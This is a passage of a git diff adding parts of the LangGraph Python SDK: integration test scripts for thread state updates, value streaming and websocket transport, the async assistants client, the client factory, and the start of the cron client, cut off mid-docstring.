+ ) + + +async def run_async() -> None: + header("async update_state during interrupt") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + async for _ in thread.values: + if thread.interrupted: + break + assert thread.interrupted, "expected interrupt before update_state" + + pre_state = await threads.get_state(thread.thread_id) + pre_value = (pre_state.get("values") or {}).get("value") + print(f" pre-update value={pre_value!r}") + # `stream_message` overwrites value="init" with value="x" before the + # interrupt; verify we're starting from the expected pre-update state. + assert pre_value == "x", f"unexpected pre-update value: {pre_value!r}" + + await _update_state_with_retry_async( + threads, thread.thread_id, {"value": _PATCHED_VALUE} + ) + + post_state = await threads.get_state(thread.thread_id) + post_values = post_state.get("values") or {} + post_value = post_values.get("value") + print(f" thread_id={thread.thread_id}") + print(f" post-update value={post_value!r}") + assert post_value == _PATCHED_VALUE, ( + f"update_state did not persist: value={post_value!r}" + ) + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync update_state during interrupt") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + for _ in thread.values: + if thread.interrupted: + break + assert thread.interrupted, "expected interrupt before update_state" + + pre_state = threads.get_state(thread.thread_id) + pre_value = (pre_state.get("values") or {}).get("value") + print(f" pre-update value={pre_value!r}") + # `stream_message` overwrites value="init" with value="x" before the + # interrupt; verify we're starting from the expected pre-update state. + assert pre_value == "x", f"unexpected pre-update value: {pre_value!r}" + + _update_state_with_retry_sync( + threads, thread.thread_id, {"value": _PATCHED_VALUE} + ) + + post_state = threads.get_state(thread.thread_id) + post_values = post_state.get("values") or {} + post_value = post_values.get("value") + print(f" thread_id={thread.thread_id}") + print(f" post-update value={post_value!r}") + assert post_value == _PATCHED_VALUE, ( + f"update_state did not persist: value={post_value!r}" + ) + finally: + with contextlib.suppress(Exception): + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_values.py b/libs/sdk-py/integration/scripts/test_values.py new file mode 100644 index 0000000..abec783 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_values.py @@ -0,0 +1,89 @@ +"""Exercise `thread.values` against the integration API. + +The integration graph's `ask_human` node interrupts mid-run. The +projection iterators (`thread.values`, `.messages`, `.tool_calls`, +`.subgraphs`) do not terminate on interrupt — they're paused, waiting +for more events. To drain the full run end-to-end we use a background +auto-responder that watches `thread.interrupted` and calls +`thread.run.respond(...)` so the run continues to the terminal. + +Run after `docker compose up -d` from `libs/sdk-py/integration/`: + + uv run python integration/scripts/test_values.py +""" + +from __future__ import annotations + +import asyncio + +from _common import ( + ASSISTANT_ID, + auto_respond_async, + auto_respond_sync, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + + +async def run_async() -> None: + header("async values") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + # Background task: respond to the interrupt so the iterator + # eventually sees terminal-completion events. + responder = auto_respond_async(thread) + + snapshots: list[dict] = [] + async for snap in thread.values: + snapshots.append(snap) + print( + f" values snapshot: items={snap.get('items')!r} value={snap.get('value')!r}" + ) + + await responder + + final = await thread.output + print(f" final output items={final.get('items')!r}") + assert "sub" in final.get("items", []), "expected subgraph to have run" + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync values") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + responder = auto_respond_sync(thread) + + snapshots: list[dict] = [] + for snap in thread.values: + snapshots.append(snap) + print( + f" values snapshot: items={snap.get('items')!r} value={snap.get('value')!r}" + ) + + responder.join(timeout=5) + + final = thread.output + print(f" final output items={final.get('items')!r}") + assert "sub" in final.get("items", []), "expected subgraph to have run" + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_websocket.py b/libs/sdk-py/integration/scripts/test_websocket.py new file mode 100644 index 0000000..f316682 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_websocket.py @@ -0,0 +1,92 @@ +"""Exercise the WebSocket transport against the integration API. + +Equivalent to `test_values.py` but with `transport="websocket"`. +""" + +from __future__ import annotations + +import asyncio + +from _common import ( + ASSISTANT_ID, + auto_respond_async, + auto_respond_sync, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + + +async def run_async() -> None: + header("async websocket transport") + threads, raw = make_async_client() + try: + async with threads.stream( + assistant_id=ASSISTANT_ID, + transport="websocket", + ) as thread: + from langgraph_sdk.stream.transport import ProtocolWebSocketTransport + + assert isinstance(thread._transport, ProtocolWebSocketTransport), ( + f"expected ws transport, got {type(thread._transport).__name__}" + ) + + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + # The graph interrupts at `ask_human`; without a background + # responder the values iterator would pause indefinitely. + responder = auto_respond_async(thread) + + snapshots: list[dict] = [] + async for snap in thread.values: + snapshots.append(snap) + print(f" ws values snapshot items={snap.get('items')!r}") + + await responder + + final = await thread.output + print(f" final via ws: items={final.get('items')!r}") + assert "sub" in final.get("items", []), ( + "expected subgraph to have run via ws transport" + ) + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync websocket transport") + threads, raw = make_sync_client() + try: + with threads.stream( + assistant_id=ASSISTANT_ID, + transport="websocket", + ) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + responder = auto_respond_sync(thread) + + snapshots: list[dict] = [] + for snap in thread.values: + snapshots.append(snap) + print(f" ws values snapshot items={snap.get('items')!r}") + + responder.join(timeout=5) + + final = thread.output + print(f" final via ws: items={final.get('items')!r}") + assert "sub" in final.get("items", []), ( + "expected subgraph to have run via ws transport" + ) + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/langgraph_sdk/__init__.py b/libs/sdk-py/langgraph_sdk/__init__.py new file mode 100644 index 0000000..dbe4ffa --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/__init__.py @@ -0,0 +1,8 @@ +from langgraph_sdk.auth import Auth +from langgraph_sdk.client import get_client, get_sync_client +from langgraph_sdk.encryption import Encryption +from langgraph_sdk.encryption.types import EncryptionContext + +__version__ = "0.4.2" + +__all__ = ["Auth", "Encryption", "EncryptionContext", "get_client", "get_sync_client"] diff --git a/libs/sdk-py/langgraph_sdk/_async/__init__.py b/libs/sdk-py/langgraph_sdk/_async/__init__.py new file mode 100644 index 0000000..16bf0e4 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/__init__.py @@ -0,0 +1,20 @@ +"""Async client exports.""" + +from langgraph_sdk._async.assistants import AssistantsClient +from langgraph_sdk._async.client import LangGraphClient, get_client +from langgraph_sdk._async.cron import CronClient +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.runs import RunsClient +from langgraph_sdk._async.store import StoreClient +from langgraph_sdk._async.threads import ThreadsClient + +__all__ = [ + "AssistantsClient", + "CronClient", + "HttpClient", + "LangGraphClient", + "RunsClient", + "StoreClient", + "ThreadsClient", + "get_client", +] diff --git a/libs/sdk-py/langgraph_sdk/_async/assistants.py b/libs/sdk-py/langgraph_sdk/_async/assistants.py new file mode 100644 index 0000000..24d3cfa --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/assistants.py @@ -0,0 +1,740 @@ +"""Async client for managing assistants in LangGraph.""" + +from __future__ import annotations + +from collections.abc import Mapping +from typing import Any, Literal, cast, overload + +import httpx + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.schema import ( + Assistant, + AssistantSelectField, + AssistantSortBy, + AssistantsSearchResponse, + AssistantVersion, + Config, + Context, + GraphSchema, + Json, + OnConflictBehavior, + QueryParamTypes, + SortOrder, + Subgraphs, +) + + +class AssistantsClient: + """Client for managing assistants in LangGraph. + + This class provides methods to interact with assistants, + which are versioned configurations of your graph. + + ???+ example "Example" + + ```python + client = get_client(url="http://localhost:2024") + assistant = await client.assistants.get("assistant_id_123") + ``` + """ + + def __init__(self, http: HttpClient) -> None: + self.http = http + + async def get( + self, + assistant_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Get an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Assistant: Assistant Object. + + ???+ example "Example Usage" + + ```python + assistant = await client.assistants.get( + assistant_id="my_assistant_id" + ) + print(assistant) + ``` + + ```shell + ---------------------------------------------------- + + { + 'assistant_id': 'my_assistant_id', + 'graph_id': 'agent', + 'created_at': '2024-06-25T17:10:33.109781+00:00', + 'updated_at': '2024-06-25T17:10:33.109781+00:00', + 'config': {}, + 'metadata': {'created_by': 'system'}, + 'version': 1, + 'name': 'my_assistant' + } + ``` + """ + return await self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}", + headers=headers, + params=params, + ) + + async def get_graph( + self, + assistant_id: str, + *, + xray: int | bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict[str, list[dict[str, Any]]]: + """Get the graph of an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get the graph of. + xray: Include graph representation of subgraphs. If an integer value is provided, only subgraphs with a depth less than or equal to the value will be included. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Graph: The graph information for the assistant in JSON format. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + graph_info = await client.assistants.get_graph( + assistant_id="my_assistant_id" + ) + print(graph_info) + ``` + + ```shell + + -------------------------------------------------------------------------------------------------------------------------- + + { + 'nodes': + [ + {'id': '__start__', 'type': 'schema', 'data': '__start__'}, + {'id': '__end__', 'type': 'schema', 'data': '__end__'}, + {'id': 'agent','type': 'runnable','data': {'id': ['langgraph', 'utils', 'RunnableCallable'],'name': 'agent'}}, + ], + 'edges': + [ + {'source': '__start__', 'target': 'agent'}, + {'source': 'agent','target': '__end__'} + ] + } + ``` + + + """ + query_params = {"xray": xray} + if params: + query_params.update(params) + + return await self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/graph", + params=query_params, + headers=headers, + ) + + async def get_schemas( + self, + assistant_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> GraphSchema: + """Get the schemas of an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get the schema of. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + GraphSchema: The graph schema for the assistant. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + schema = await client.assistants.get_schemas( + assistant_id="my_assistant_id" + ) + print(schema) + ``` + + ```shell + + ---------------------------------------------------------------------------------------------------------------------------- + + { + 'graph_id': 'agent', + 'state_schema': + { + 'title': 'LangGraphInput', + '$ref': '#/definitions/AgentState', + 'definitions': + { + 'BaseMessage': + { + 'title': 'BaseMessage', + 'description': 'Base abstract Message class. Messages are the inputs and outputs of ChatModels.', + 'type': 'object', + 'properties': + { + 'content': + { + 'title': 'Content', + 'anyOf': [ + {'type': 'string'}, + {'type': 'array','items': {'anyOf': [{'type': 'string'}, {'type': 'object'}]}} + ] + }, + 'additional_kwargs': + { + 'title': 'Additional Kwargs', + 'type': 'object' + }, + 'response_metadata': + { + 'title': 'Response Metadata', + 'type': 'object' + }, + 'type': + { + 'title': 'Type', + 'type': 'string' + }, + 'name': + { + 'title': 'Name', + 'type': 'string' + }, + 'id': + { + 'title': 'Id', + 'type': 'string' + } + }, + 'required': ['content', 'type'] + }, + 'AgentState': + { + 'title': 'AgentState', + 'type': 'object', + 'properties': + { + 'messages': + { + 'title': 'Messages', + 'type': 'array', + 'items': {'$ref': '#/definitions/BaseMessage'} + } + }, + 'required': ['messages'] + } + } + }, + 'context_schema': + { + 'title': 'Context', + 'type': 'object', + 'properties': + { + 'model_name': + { + 'title': 'Model Name', + 'enum': ['anthropic', 'openai'], + 'type': 'string' + } + } + } + } + ``` + + """ + return await self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/schemas", + headers=headers, + params=params, + ) + + async def get_subgraphs( + self, + assistant_id: str, + namespace: str | None = None, + recurse: bool = False, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Subgraphs: + """Get the schemas of an assistant by ID. + + Args: + assistant_id: The ID of the assistant to get the schema of. + namespace: Optional namespace to filter by. + recurse: Whether to recursively get subgraphs. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Subgraphs: The graph schema for the assistant. + + """ + get_params = {"recurse": recurse} + if params: + get_params = {**get_params, **dict(params)} + if namespace is not None: + return await self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/subgraphs/{_quote_path_param(namespace)}", + params=get_params, + headers=headers, + ) + else: + return await self.http.get( + f"/assistants/{_quote_path_param(assistant_id)}/subgraphs", + params=get_params, + headers=headers, + ) + + async def create( + self, + graph_id: str | None, + config: Config | None = None, + *, + context: Context | None = None, + metadata: Json = None, + assistant_id: str | None = None, + if_exists: OnConflictBehavior | None = None, + name: str | None = None, + headers: Mapping[str, str] | None = None, + description: str | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Create a new assistant. + + Useful when graph is configurable and you want to create different assistants based on different configurations. + + Args: + graph_id: The ID of the graph the assistant should use. The graph ID is normally set in your langgraph.json configuration. + config: Configuration to use for the graph. + metadata: Metadata to add to assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + assistant_id: Assistant ID to use, will default to a random UUID if not provided. + if_exists: How to handle duplicate creation. Defaults to 'raise' under the hood. + Must be either 'raise' (raise error if duplicate), or 'do_nothing' (return existing assistant). + name: The name of the assistant. Defaults to 'Untitled' under the hood. + headers: Optional custom headers to include with the request. + description: Optional description of the assistant. + The description field is available for langgraph-api server version>=0.0.45 + params: Optional query parameters to include with the request. + + Returns: + Assistant: The created assistant. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + assistant = await client.assistants.create( + graph_id="agent", + context={"model_name": "openai"}, + metadata={"number":1}, + assistant_id="my-assistant-id", + if_exists="do_nothing", + name="my_name" + ) + ``` + """ + payload: dict[str, Any] = { + "graph_id": graph_id, + } + if config: + payload["config"] = config + if context: + payload["context"] = context + if metadata: + payload["metadata"] = metadata + if assistant_id: + payload["assistant_id"] = assistant_id + if if_exists: + payload["if_exists"] = if_exists + if name: + payload["name"] = name + if description: + payload["description"] = description + return await self.http.post( + "/assistants", json=payload, headers=headers, params=params + ) + + async def update( + self, + assistant_id: str, + *, + graph_id: str | None = None, + config: Config | None = None, + context: Context | None = None, + metadata: Json = None, + name: str | None = None, + headers: Mapping[str, str] | None = None, + description: str | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Update an assistant. + + Use this to point to a different graph, update the configuration, or change the metadata of an assistant. + + Args: + assistant_id: Assistant to update. + graph_id: The ID of the graph the assistant should use. + The graph ID is normally set in your langgraph.json configuration. If `None`, assistant will keep pointing to same graph. + config: Configuration to use for the graph. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + metadata: Metadata to merge with existing assistant metadata. + name: The new name for the assistant. + headers: Optional custom headers to include with the request. + description: Optional description of the assistant. + The description field is available for langgraph-api server version>=0.0.45 + params: Optional query parameters to include with the request. + + Returns: + The updated assistant. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + assistant = await client.assistants.update( + assistant_id='e280dad7-8618-443f-87f1-8e41841c180f', + graph_id="other-graph", + context={"model_name": "anthropic"}, + metadata={"number":2} + ) + ``` + + """ + payload: dict[str, Any] = {} + if graph_id: + payload["graph_id"] = graph_id + if config is not None: + payload["config"] = config + if context is not None: + payload["context"] = context + if metadata: + payload["metadata"] = metadata + if name: + payload["name"] = name + if description: + payload["description"] = description + return await self.http.patch( + f"/assistants/{_quote_path_param(assistant_id)}", + json=payload, + headers=headers, + params=params, + ) + + async def delete( + self, + assistant_id: str, + *, + delete_threads: bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete an assistant. + + Args: + assistant_id: The assistant ID to delete. + delete_threads: If true, delete all threads with `metadata.assistant_id` + matching this assistant, along with runs and checkpoints belonging to + those threads. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.assistants.delete( + assistant_id="my_assistant_id" + ) + ``` + + """ + query_params: dict[str, Any] = {} + if delete_threads: + query_params["delete_threads"] = True + if params: + query_params.update(params) + await self.http.delete( + f"/assistants/{_quote_path_param(assistant_id)}", + headers=headers, + params=query_params or None, + ) + + @overload + async def search( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + limit: int = 10, + offset: int = 0, + sort_by: AssistantSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[AssistantSelectField] | None = None, + response_format: Literal["object"], + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> AssistantsSearchResponse: ... + + @overload + async def search( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + limit: int = 10, + offset: int = 0, + sort_by: AssistantSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[AssistantSelectField] | None = None, + response_format: Literal["array"] = "array", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[Assistant]: ... + + async def search( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + limit: int = 10, + offset: int = 0, + sort_by: AssistantSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[AssistantSelectField] | None = None, + response_format: Literal["array", "object"] = "array", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> AssistantsSearchResponse | list[Assistant]: + """Search for assistants. + + Args: + metadata: Metadata to filter by. Exact match filter for each KV pair. + graph_id: The ID of the graph to filter by. + The graph ID is normally set in your langgraph.json configuration. + name: The name of the assistant to filter by. + The filtering logic will match assistants where 'name' is a substring (case insensitive) of the assistant name. + limit: The maximum number of results to return. + offset: The number of results to skip. + sort_by: The field to sort by. + sort_order: The order to sort by. + select: Specific assistant fields to include in the response. + response_format: Controls the response shape. Use `"array"` (default) + to return a bare list of assistants, or `"object"` to return + a mapping containing assistants plus pagination metadata. + Defaults to "array", though this default will be changed to "object" in a future release. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A list of assistants (when `response_format="array"`) or a mapping + with the assistants and the next pagination cursor (when + `response_format="object"`). + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + response = await client.assistants.search( + metadata = {"name":"my_name"}, + graph_id="my_graph_id", + limit=5, + offset=5, + response_format="object" + ) + next_cursor = response["next"] + assistants = response["assistants"] + ``` + """ + if response_format not in ("array", "object"): + raise ValueError( + f"response_format must be 'array' or 'object', got {response_format!r}" + ) + payload: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + if graph_id: + payload["graph_id"] = graph_id + if name: + payload["name"] = name + if sort_by: + payload["sort_by"] = sort_by + if sort_order: + payload["sort_order"] = sort_order + if select: + payload["select"] = select + next_cursor: str | None = None + + def capture_pagination(response: httpx.Response) -> None: + nonlocal next_cursor + next_cursor = response.headers.get("X-Pagination-Next") + + assistants = cast( + list[Assistant], + await self.http.post( + "/assistants/search", + json=payload, + headers=headers, + params=params, + on_response=capture_pagination if response_format == "object" else None, + ), + ) + if response_format == "object": + return {"assistants": assistants, "next": next_cursor} + return assistants + + async def count( + self, + *, + metadata: Json = None, + graph_id: str | None = None, + name: str | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> int: + """Count assistants matching filters. + + Args: + metadata: Metadata to filter by. Exact match for each key/value. + graph_id: Optional graph id to filter by. + name: Optional name to filter by. + The filtering logic will match assistants where 'name' is a substring (case insensitive) of the assistant name. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + int: Number of assistants matching the criteria. + """ + payload: dict[str, Any] = {} + if metadata: + payload["metadata"] = metadata + if graph_id: + payload["graph_id"] = graph_id + if name: + payload["name"] = name + return await self.http.post( + "/assistants/count", json=payload, headers=headers, params=params + ) + + async def get_versions( + self, + assistant_id: str, + metadata: Json = None, + limit: int = 10, + offset: int = 0, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[AssistantVersion]: + """List all versions of an assistant. + + Args: + assistant_id: The assistant ID to get versions for. + metadata: Metadata to filter versions by. Exact match filter for each KV pair. + limit: The maximum number of versions to return. + offset: The number of versions to skip. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A list of assistant versions. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + assistant_versions = await client.assistants.get_versions( + assistant_id="my_assistant_id" + ) + ``` + """ + + payload: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + return await self.http.post( + f"/assistants/{_quote_path_param(assistant_id)}/versions", + json=payload, + headers=headers, + params=params, + ) + + async def set_latest( + self, + assistant_id: str, + version: int, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Assistant: + """Change the version of an assistant. + + Args: + assistant_id: The assistant ID to delete. + version: The version to change to. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + Assistant Object. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + new_version_assistant = await client.assistants.set_latest( + assistant_id="my_assistant_id", + version=3 + ) + ``` + + """ + + payload: dict[str, Any] = {"version": version} + + return await self.http.post( + f"/assistants/{_quote_path_param(assistant_id)}/latest", + json=payload, + headers=headers, + params=params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_async/client.py b/libs/sdk-py/langgraph_sdk/_async/client.py new file mode 100644 index 0000000..dc852c4 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/client.py @@ -0,0 +1,178 @@ +"""Async LangGraph client.""" + +from __future__ import annotations + +import logging +import os +from collections.abc import Mapping +from types import TracebackType + +import httpx + +from langgraph_sdk._async.assistants import AssistantsClient +from langgraph_sdk._async.cron import CronClient +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._async.runs import RunsClient +from langgraph_sdk._async.store import StoreClient +from langgraph_sdk._async.threads import ThreadsClient +from langgraph_sdk._shared.types import TimeoutTypes +from langgraph_sdk._shared.utilities import ( + NOT_PROVIDED, + _get_headers, + _registered_transports, + get_asgi_transport, +) + +logger = logging.getLogger(__name__) + + +def get_client( + *, + url: str | None = None, + api_key: str | None = NOT_PROVIDED, + headers: Mapping[str, str] | None = None, + timeout: TimeoutTypes | None = None, +) -> LangGraphClient: + """Create and configure a LangGraphClient. + + The client provides programmatic access to LangSmith Deployment. It supports + both remote servers and local in-process connections (when running inside a LangGraph server). + + Args: + url: + Base URL of the LangGraph API. + - If `None`, the client first attempts an in-process connection via ASGI transport. + If that fails, it defers registration until after app initialization. This + only works if the client is used from within the Agent server. + api_key: + API key for authentication. Can be: + - A string: use this exact API key + - `None`: explicitly skip loading from environment variables + - Not provided (default): auto-load from environment in this order: + 1. `LANGGRAPH_API_KEY` + 2. `LANGSMITH_API_KEY` + 3. `LANGCHAIN_API_KEY` + headers: + Additional HTTP headers to include in requests. Merged with authentication headers. + timeout: + HTTP timeout configuration. May be: + - `httpx.Timeout` instance + - float (total seconds) + - tuple `(connect, read, write, pool)` in seconds + Defaults: connect=5, read=300, write=300, pool=5. + + Returns: + LangGraphClient: + A top-level client exposing sub-clients for assistants, threads, + runs, and cron operations. + + ???+ example "Connect to a remote server:" + + ```python + from langgraph_sdk import get_client + + # get top-level LangGraphClient + client = get_client(url="http://localhost:8123") + + # example usage: client..() + assistants = await client.assistants.get(assistant_id="some_uuid") + ``` + + ???+ example "Connect in-process to a running LangGraph server:" + + ```python + from langgraph_sdk import get_client + + client = get_client(url=None) + + async def my_node(...): + subagent_result = await client.runs.wait( + thread_id=None, + assistant_id="agent", + input={"messages": [{"role": "user", "content": "Foo"}]}, + ) + ``` + + ???+ example "Skip auto-loading API key from environment:" + + ```python + from langgraph_sdk import get_client + + # Don't load API key from environment variables + client = get_client( + url="http://localhost:8123", + api_key=None + ) + ``` + """ + + transport: httpx.AsyncBaseTransport | None = None + if url is None: + url = "http://api" + if os.environ.get("__LANGGRAPH_DEFER_LOOPBACK_TRANSPORT") == "true": + transport = get_asgi_transport()(app=None, root_path="/noauth") # ty: ignore[invalid-argument-type] + _registered_transports.append(transport) + else: + try: + from langgraph_api.server import app # type: ignore + + transport = get_asgi_transport()(app, root_path="/noauth") + except Exception: + logger.debug( + "Failed to connect to in-process LangGraph server. Deferring configuration.", + exc_info=True, + ) + transport = get_asgi_transport()(app=None, root_path="/noauth") # ty: ignore[invalid-argument-type] + _registered_transports.append(transport) + + if transport is None: + transport = httpx.AsyncHTTPTransport(retries=5) + client = httpx.AsyncClient( + base_url=url, + transport=transport, + timeout=( + httpx.Timeout(timeout) # ty: ignore[invalid-argument-type] + if timeout is not None + else httpx.Timeout(connect=5, read=300, write=300, pool=5) + ), + headers=_get_headers(api_key, headers), + ) + return LangGraphClient(client) + + +class LangGraphClient: + """Top-level client for LangGraph API. + + Attributes: + assistants: Manages versioned configuration for your graphs. + threads: Handles (potentially) multi-turn interactions, such as conversational threads. + runs: Controls individual invocations of the graph. + crons: Manages scheduled operations. + store: Interfaces with persistent, shared data storage. + """ + + def __init__(self, client: httpx.AsyncClient) -> None: + self.http = HttpClient(client) + self.assistants = AssistantsClient(self.http) + self.threads = ThreadsClient(self.http) + self.runs = RunsClient(self.http) + self.crons = CronClient(self.http) + self.store = StoreClient(self.http) + + async def __aenter__(self) -> LangGraphClient: + """Enter the async context manager.""" + return self + + async def __aexit__( + self, + exc_type: type[BaseException] | None, + exc_val: BaseException | None, + exc_tb: TracebackType | None, + ) -> None: + """Exit the async context manager.""" + await self.aclose() + + async def aclose(self) -> None: + """Close the underlying HTTP client.""" + if hasattr(self, "http"): + await self.http.client.aclose() diff --git a/libs/sdk-py/langgraph_sdk/_async/cron.py b/libs/sdk-py/langgraph_sdk/_async/cron.py new file mode 100644 index 0000000..792fba5 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/cron.py @@ -0,0 +1,534 @@ +"""Async client for managing recurrent runs (cron jobs) in LangGraph.""" + +from __future__ import annotations + +import warnings +from collections.abc import Mapping, Sequence +from datetime import datetime, tzinfo +from typing import Any + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._shared.utilities import _quote_path_param, _resolve_timezone +from langgraph_sdk.schema import ( + All, + Config, + Context, + Cron, + CronSelectField, + CronSortBy, + Durability, + Input, + Json, + OnCompletionBehavior, + QueryParamTypes, + Run, + SortOrder, + StreamMode, +) + + +class CronClient: + """Client for managing recurrent runs (cron jobs) in LangGraph. + + A run is a single invocation of an assistant with optional input, config, and context. + This client allows scheduling recurring runs to occur automatically. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024")) + cron_job = await client.crons.create_for_thread( + thread_id="thread_123", + assistant_id="asst_456", + schedule="0 9 * * *", + input={"message": "Daily update"} + ) + ``` + + !!! note "Feature Availability" + + The crons client functionality is not supported on all licenses. + Please check the relevant license documentation for the most up-to-date + details on feature availability. + """ + + def __init__(self, http_client: HttpClient) -> None: + self.http = http_client + + async def create_for_thread( + self, + thread_id: str, + assistant_id: str, + *, + schedule: str, + input: Input | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | list[str] | None = None, + interrupt_after: All | list[str] | None = None, + webhook: str | None = None, + multitask_strategy: str | None = None, + end_time: datetime | None = None, + enabled: bool | None = None, + timezone: str | tzinfo | None = None, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + stream_subgraphs: bool | None = None, + stream_resumable: bool | None = None, + durability: Durability | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Run: + """Create a cron job for a thread. + + Args: + thread_id: the thread ID to run the cron job on. + assistant_id: The assistant ID or graph name to use for the cron job. + If using graph name, will default to first assistant created from that graph. + schedule: The cron schedule to execute this job on. + Schedules are interpreted in UTC unless a timezone is specified. + input: The input to the graph. + metadata: Metadata to assign to the cron job runs. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + + webhook: Webhook to call after LangGraph API call is done. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely. + enabled: Whether the cron job is enabled or not. + timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``). + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether to persist the stream chunks in order to resume the stream later. + durability: Durability level for the run. Must be one of 'sync', 'async', or 'exit'. + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces 